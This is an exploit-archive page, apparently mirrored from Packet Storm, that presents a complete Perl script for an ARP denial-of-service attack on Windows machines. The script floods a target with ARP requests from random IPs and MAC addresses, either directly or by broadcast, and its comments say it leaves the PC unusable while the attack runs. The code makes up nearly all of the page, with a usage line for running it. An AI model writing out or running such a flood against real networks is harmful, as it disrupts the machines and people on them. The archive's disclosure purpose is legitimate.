Lucene search

K

blarp.txt

🗓️ 26 Jul 2007 00:00:00Reported by Knud Erik HojgaardType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

ARP DOS attack with Perl script for Window

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`#!/usr/bin/perl  
# kokanin@gmail dot com 20070604  
# ARP dos, makes the target windows pc unusable for the duration of the attack.   
# <mode> determines if we send directly or via broadcast, bcast seems  
# to be more effective (works even when printing info locally)  
# Why store mac addresses for addresses outside ones subnet? Weird.  
# FIXME: sometimes this crashes on the first run due to a slow arp reply  
  
use Net::ARP 1.0;  
use Net::RawIP;  
  
$mode = shift;  
$interface = shift;  
$host = shift;  
  
if(!$host){ print "usage: $0 <bcast|direct> <interface> <host>\n"; exit(-1); }  
  
sub r { return int(rand(255)); }  
  
if( $mode =~ /direct/ ) {  
print "sending syn packet to add local ARP entry\n";  
$pkt = new Net::RawIP;  
$pkt->set({ip=>{daddr=>$host},tcp=>{source=>int(rand(65535)),dest=>int(rand(65535)),syn=>1,seq=>0,ack=>0}});  
$pkt->send;  
print "looking up mac address\n";  
$dmac = Net::ARP::arp_lookup($interface,$host);  
}  
else {  
$dmac = "ff:ff:ff:ff:ff:ff";  
}  
  
print "sending arp packets, press ctrl-c to stop\n";  
while(){  
$randip = sprintf("%d.%d.%d.%d",r(),r(),r(),r());  
$smac = sprintf("%x:%x:%x:%x:%x:%x",r(),r(),r(),r(),r(),r());  
# this slows it down.  
# if( $mode =~ /bcast/ ) { print "$interface://$randip/$smac -> $host/$dmac\n"; }   
Net::ARP::send_packet( $interface,$randip,$host,$smac,$dmac,request);  
}`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
26 Jul 2007 00:00Current
7.4High risk
Vulners AI Score7.4
25
.json
Report